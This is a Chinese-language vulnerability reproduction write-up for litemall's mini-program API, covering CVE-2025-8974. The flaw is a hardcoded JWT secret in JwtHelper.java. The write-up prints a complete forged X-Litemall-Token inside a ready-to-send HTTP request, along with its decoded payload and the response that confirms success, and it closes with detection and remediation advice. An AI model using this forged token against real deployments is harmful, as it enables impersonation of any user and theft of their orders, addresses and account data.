litemall 身份认证绕过漏洞复现
litemall 身份认证绕过漏洞复现
0x00 漏洞概述
litemall 是一个开源的小型商场系统,采用 Spring Boot 后端加 Vue 管理前端,同时提供微信小程序用户端与移动端。本次分析的对象是其小程序端的身份认证机制:小程序端接口使用 JWT(JSON Web Token)做登录态校验,请求头为 X-Litemall-Token,而签发与校验 JWT 所用的签名密钥被硬编码在源码文件 litemall-wx-api/src/main/java/org/linlinjava/litemall/wx/util/JwtHelper.java 中,密钥值为字符串 X-Litemall-Token,且签发者(LITEMALL)、主题(this is litemall token)、受众(MINIAPP)等声明字段同样全部固定。由于这些参数对任何能获取源码或反编译产物的人都是公开可知的,攻击者可以在离线环境下自行构造任意内容的合法签名 Token,把 userId 指定为任意用户,从而完全绕过小程序端的身份认证。该问题属于 CWE-798(硬编码凭据)类缺陷,风险评分为 9.7(严重),公开编号为 CVE-2025-8974。
0x01 影响范围
公开的第三方漏洞报告将受影响版本界定为 litemall ≤ 1.8.0;该文件在官方仓库 master 分支上仍可查阅到硬编码密钥的写法,说明该问题在公开代码中长期存在。任何未自行更换 JWT 签名密钥的部署实例,无论版本号如何,只要小程序端 API(/wx/ 路径下接口)对外开放,即处于风险之中。资产识别方面,可结合 /wx/ 路径下小程序端接口的暴露情况与端口测绘结果圈定排查对象。
0x02 漏洞分析
JWT 由头部、载荷、签名三段组成,服务端校验的核心在于:用约定密钥对前两段重新计算 HMAC-SHA256 签名,与 Token 第三段比对。litemall 的实现把这个约定密钥写死在 JwtHelper.java 中:
static final String SECRET = "X-Litemall-Token";
static final String ISSUER = "LITEMALL";
static final String SUBJECT = "this is litemall token";
static final String AUDIENCE = "MINIAPP";代码是开源的,二进制部署包同样可以被反编译,SECRET 因此不具备任何保密性。签名算法是标准的 HS256,任何人都能用这个固定密钥为任意载荷签出合法 Token。载荷中最关键的字段是 userId:服务端解析 Token 后直接信任其中的用户标识,不会与数据库中的登录态做二次核对。于是攻击者只需将 userId 设为目标用户编号,其余声明照抄源码中的固定值,再补一个足够远的过期时间,就能得到一枚「合法」地冒充任意用户的 Token。整个过程不需要与目标服务器发生任何预交互,完全离线完成。
0x03 利用链与请求包
完整的利用只有一步:持伪造 Token 调用小程序端的用户信息接口 /wx/auth/info。该接口要求请求头携带 X-Litemall-Token,正常情况下只有登录后由服务端签发的 Token 才能通过校验。利用请求包如下(目标地址以 192.0.2.10 示意):
GET /wx/auth/info HTTP/1.1
Host: 192.0.2.10
X-Litemall-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ0aGlzIGlzIGxpdGVtYWxsIHRva2VuIiwiYXVkIjoiTUlOSUFQUCIsImlzcyI6IkxJVEVNQUxMIiwiZXh
wIjo0Nzc2MTQ2NzQ5LCJ1c2VySWQiOjEsImlhdCI6MTY1MjAwMTk0OX0.0nWPj0ckkD8fZ9AuRwQ8hXtOSgSTHK3bfTL4-Y7itok
Connection: close说明:X-Litemall-Token 头的实际值为连续单行字符串,上表仅为排版可读性做了折行处理(续行以空格起头),实际构造请求时需将两行拼接为一行。
对 Token 载荷做 ba se64 解码,内容为:
{"sub":"this is litemall token","aud":"MINIAPP","iss":"LITEMALL","exp":4776146749,"userId":1,"iat":1652001949}其中 iat 为 1652001949,对应 2022-05-08;exp 取了远期时间戳,保证 Token 长期有效;userId 为 1,即以编号为 1 的用户身份发起访问。签名段以硬编码密钥按 HS256 计算得出,与源码常量完全吻合,因此服务端校验必然通过。
判定漏洞存在的响应特征为:HTTP 状态码 200,响应体中同时出现 "errno":0、nickName 与「成功」字样——这正是该接口以对应身份成功返回用户资料的 JSON 结构。换言之,伪造 Token 通过校验并取回了 userId=1 用户的昵称等信息,即证明身份伪造成立。将载荷中的 userId 换成其他编号并以相同方式签名,即可冒充任意用户访问其名下的订单、地址、购物车等小程序端数据。
需要说明的是,上述请求包与判定特征依据技术分析记录中的验证逻辑整理;实际响应中用户字段的具体取值会随目标数据而不同,但不影响「伪造 Token 被服务端接受」这一核心事实的判定。
0x04 检测与修复建议
排查层面:检查边界与托管环境中是否存在 litemall 部署,确认 /wx/ 路径接口的暴露范围;在访问日志中检索携带异常长寿命 X-Litemall-Token 的请求(如载荷 exp 与 iat 间隔明显超出正常会话周期、或 iat 早于系统部署时间),命中即可判定存在伪造访问。
修复层面:其一,将 JwtHelper.java 中硬编码的 SECRET 移除,改为应用启动时从安全配置源读取或以安全随机数生成,密钥长度与复杂度应足够抵抗穷举;其二,轮换密钥后使全部存量会话失效,避免旧 Token 继续有效;其三,非必要不将小程序端 API 直接暴露公网,并以反向代理层对相关路径做访问控制;其四,关注官方仓库对该缺陷的后续处置,待官方发布移除硬编码密钥的修复版本后及时升级。
0x05 参考资料
2. https://github.com/linlinjava/litemall/issues/568

Wayyt 1小时前
最新评论